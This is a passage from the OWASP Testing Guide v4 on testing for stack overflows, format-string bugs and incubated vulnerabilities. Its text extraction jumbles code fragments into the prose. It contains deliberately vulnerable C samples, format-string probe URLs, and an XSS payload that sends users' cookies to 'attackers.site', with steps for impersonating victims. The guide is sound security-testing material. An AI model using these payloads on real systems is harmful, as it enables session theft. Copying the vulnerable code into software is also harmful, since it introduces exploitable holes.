• No results found

Testing for Stack Overflow

In document OWASP Testing Guide v4 (Page 148-156)

Summary

Stack overflows occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking. Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in in- terpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. In fact almost every platform is vulnerable to stack overflows with the follow- ing notable exceptions:

• J2EE – as long as native methods or system calls are not

invoked

• .NET – as long as /unsafe or unmanaged code is not invoked

(such as the use of P/Invoke or COM Interop)

• PHP – as long as external programs and vulnerable PHP

extensions written in C or C++ are not called can suffer from stack overflow issues.

Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides int main(int argc, char *argv[])

{

……

vulnerable(argv[1]);

return 0;

}

int vulnerable(char *buf) {

HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260); strcpy(chunk, buf); ‘’’ Vulnerability’’’

……..

return 0;

}

string = cli_malloc(length + 1); ‘’’ Vulnerability’’’ if(fread(string, 1, length, fp) != length) {‘’’ Vulnerability’’’ free(string);

return -1; }

overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Ex- ception Handlers, which are located on the stack.

How to Test Black Box testing

The key to testing an application for stack overflow vulnerabili- ties is supplying overly large input data as compared to what is expected. However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the appli- cation’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would be to at- tach a debugger to the target application or process, generate malformed input for the application, subject the application to malformed input, and inspect responses in a debugger. The de- bugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.

On the other hand, a more passive form of testing can be em- ployed, which involves inspecting assembly code of the appli- cation by using disassemblers. In this case, various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process. As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:

File sample.exe is launched in a debugger, in our case OllyDbg.

Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.

On opening the executable with the supplied arguments and continuing execution the following results are obtained.

As shown in the registers window of the debugger, the EIP or Ex- tended Instruction Pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadeci- mal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.

This clearly demonstrates how input data can be used to over- write the instruction pointer with user-supplied values and con- trol program execution. A stack overflow can also allow over- writing of stack-based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack pro- tection mechanisms.

As mentioned previously, other methods of testing such vul- nerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing tech- niques.

Gray Box testing

When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.

For example consider the following function:- #include<stdio.h>

int main(int argc, char *argv[]) {

char buff[20];

printf(“copying into buffer”); strcpy(buff,argv[1]);

return 0; }

void log_create(int severity, char *inpt) { char b[1024];

From above, the line strcat(b,inpt) will result in a stack overflow if inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character point- er that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code.

Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. If the size argument that is used to ac- complish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers. For example:-

where source is user controllable data. A good example would be

the samba trans2open stack overflow vulnerability (http://www.

securityfocus.com/archive/1/317615).

Vulnerabilities can also appear in URL and address parsing code. In such cases, a function like memccpy() is usually employed which copies data into a destination buffer from source until a specified character is not encountered. Consider the function:

In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer until a ‘\’ was encountered. The length of the server name in this case was controllable by users.

Apart from manually reviewing code for stack overflows, stat- ic code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in re- ducing the overhead associated with finding low hanging fruits, like strcpy() and sprintf() bugs.

A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.

Tools

• OllyDbg: “A windows based debugger used for analyzing buffer

overflow vulnerabilities” - http://www.ollydbg.de

• Spike, A fuzzer framework that can be used to explore

vulnerabilities and perform length testing - http://www.

immunitysec.com/downloads/SPIKE2.9.tgz

• Brute Force Binary Tester (BFB), A proactive binary checker -

http://bfbtester.sourceforge.net/

• Metasploit, A rapid exploit development and Testing frame

work - http://www.metasploit.com

References Whitepapers

• Aleph One: “Smashing the Stack for Fun and Profit” -

http://insecure.org/stf/smashstack.html

• The Samba trans2open stack overflow vulnerability -

http://www.

securityfocus.com/archive/1/317615

• Windows RPC DCOM vulnerability details -

http://www.xfocus.

org/documents/200307/2.html

Testing for Format String

Summary

This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code. The prob- lem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf().

Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc. Formatting is governed by a parameter to these functions termed as format type specifier, typ- ically %s, %c etc. The vulnerability arises when format functions are called with inadequate parameters validation and user controlled data.

A simple example would be printf(argv[1]). In this case the type spec- ifier has not been explicitly declared, allowing a user to pass charac- ters such as %s, %n, %x to the application by means of command line argument argv[1].

This situation tends to become precarious since a user who can sup- ply format specifiers can perform the following malicious actions: if (severity == 1)

{

strcat(b,”Error occurred on”); strcat(b,”:”);

strcat(b,inpt);

FILE *fd = fopen (“logfile.log”, “a”); fprintf(fd, “%s”, b);

fclose(fd); . . . . }

void func(char *source) { Char dest[40]; … size=strlen(source)+1 …. strncpy(dest,source,size) }

void func(char *path) { char servaddr[40]; … memccpy(servaddr,path,’\’); …. }

Enumerate Process Stack: This allows an adversary to view stack

organization of the vulnerable process by supplying format strings, such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.

Control Execution Flow: This vulnerability can also facilitate arbi-

trary code execution since it allows writing 4 bytes of data to an ad- dress supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.

Denial of Service: If the adversary is not in a position to supply ma-

licious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n.

How to Test Black Box testing

The key to testing format string vulnerabilities is supplying format type specifiers in application input.

For example, consider an application that processes the URL string http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If a format string vulnerability exists in one of the routines

processing this information, supplying a URL like http://xyzhost.

com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.

Format string vulnerabilities manifest mainly in web servers, appli- cation servers, or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases, an error reporting or log- ging function like syslog( ) has been called insecurely.

When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like

can be altered to

If a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.

If code is unavailable, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs.

Take the instance of code (1) :

when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible be- fore a call to printf is made.

On the other hand, when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.

Gray Box testing

While performing code reviews, nearly all format string vulnerabili- ties can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.

http://hostname/cgi-bin/query.cgi?name=john&code=45765

http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x- &code=45765%x.%x

int main(int argc, char **argv) {

printf(“The string entered is\n”); printf(“%s”,argv[1]);

return 0; }

In a penetration test, incubated attacks can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site).

This type of asynchronous attack covers a great spectrum of at- tack vectors, among them the following:

• File upload components in a web application, allowing the

attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc.)

• Cross-site scripting issues in public forums posts (see Testing

for Stored Cross_site scripting (OTG-INPVAL-002) for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board, or blog in order to inject some JavaScript code at the vulnerable page, and will be eventually rendered and executed at the site user’s browser -using the trust level of the original (vulnerable) site at the user’s browser.

• SQL/XPATH Injection allowing the attacker to upload content to a

database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary JavaScript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., XSS-proxy).

• Misconfigured servers allowing installation of Java packages or

similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)

How to Test Black Box testing

File Upload Example

Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or down- loaded by the user. Send your victim an email or other kind of alert in order to lead him/her to browse the page. The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site.

XSS Example on a Bulletin Board

[1] Introduce JavaScript code as the value for the vulnerable field,

for instance:

[2] Direct users to browse the vulnerable page or wait for the us-

ers to browse it. Have a “listener” at attackers.site host listening for all incoming connections.

[3] When users browse the vulnerable page, a request containing

The functions that are primarily responsible for format string vulner- abilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:

There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.

Tools

• ITS4: “A static code analysis tool for identifying format string

vulnerabilities using source code” - http://www.cigital.com/its4

• An exploit string builder for format bugs - http://seclists.org/ lists/pen-test/2001/Aug/0014.html

References Whitepapers

• Format functions manual page -

http://www.die.net/doc/linux/man/man3/fprintf.3.html

• Tim Newsham: “A paper on format string attacks” -

http://comsec.theclerk.com/CISSP/FormatString.pdf

• Team Teso: “Exploiting Format String Vulnerabilities” -

http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html

• Analysis of format string bugs -

http://julianor.tripod.com/format-bug-analysis.pdf

Testing for Incubated Vulnerability

(OTG-INPVAL-015)

Summary

Also often refered to as persistent attacks, incubated testing is a complex testing method that needs more than one data valida- tion vulnerability to work. Incubated vulnerabilities are typically used to conduct “watering hole” attacks against users of legiti- mate web applications.

Incubated vulnerabilities have the following characteristics:

• The attack vector needs to be persisted in the first place, it

needs to be stored in the persistence layer, and this would only occur if weak data validation was present or the data arrived into the system via another channel such as an admin console or directly via a backend batch process.

• Secondly, once the attack vector was “recalled” the vector

would need to be executed successfully. For example, an incubated XSS attack would require weak output validation so the script would be delivered to the client in its executable form. Exploitation of some vulnerabilities, or even functional features of a web application, will allow an attacker to plant a piece of data that will later be retrieved by an unsuspecting user or other com- ponent of the system, exploiting some vulnerability there.

printf fprintf sprintf snprintf vfprintf vprintf vsprintf vsnprintf <script>document.write(‘<img src=”http://attackers.site/cv.jp- g?’+document.cookie+’”>’)</script>

their cookie (document.cookie is included as part of the requested URL) will be sent to the attackers.site host, such as the following:

[4] Use cookies obtained to impersonate users at the vulnerable

site.

SQL Injection Example

Usually, this set of examples leverages XSS attacks by exploit- ing a SQL-injection vulnerability. The first thing to test is whether the target site has a SQL injection vulnerability. This is described in Section 4.2 Testing for SQL Injection. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.

[1] In a similar fashion as in the previous XSS example, use a web

page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a com- bination of an SQL injection and a XSS issue). For instance, let’s suppose there is a footer table at the database with all footers for the web site pages, including a notice field with the legal no- tice that appears at the bottom of each web page. You could use the following query to inject JavaScript code to the notice field at the footer table in the database.

[2] Now, each user browsing the site will silently send his cookies

to the attackers.site (steps b.2 to b.4).

Misconfigured Server

Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with an Apache Tomcat server that doesn’t enforce strong credentials to access its Web Appli- cation Manager (or if the pen testers have been able to obtain valid credentials for the administration module by other means). In this case, a WAR file can be uploaded and a new web applica- tion deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular us-

ers can then access (most probably with a higher degree of trust than when accessing a different site).

As should also be obvious, the ability to change web page con- tents at the server, via any vulnerabilities that may be exploit- able at the host which will give the attacker webroot write per- missions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infec- tion-spread method for some web server worms).

Gray Box testing

Gray/white testing techniques will be the same as previously discussed.

• Examining input validation is key in mitigating against this

vulnerability. If other systems in the enterprise use the same persistence layer they may have weak input validation and the data may be persisited via a “back door”.

• To combat the “back door” issue for client side attacks, output

validation must also be employed so tainted data shall be

In document OWASP Testing Guide v4 (Page 148-156)

Outline

Related documents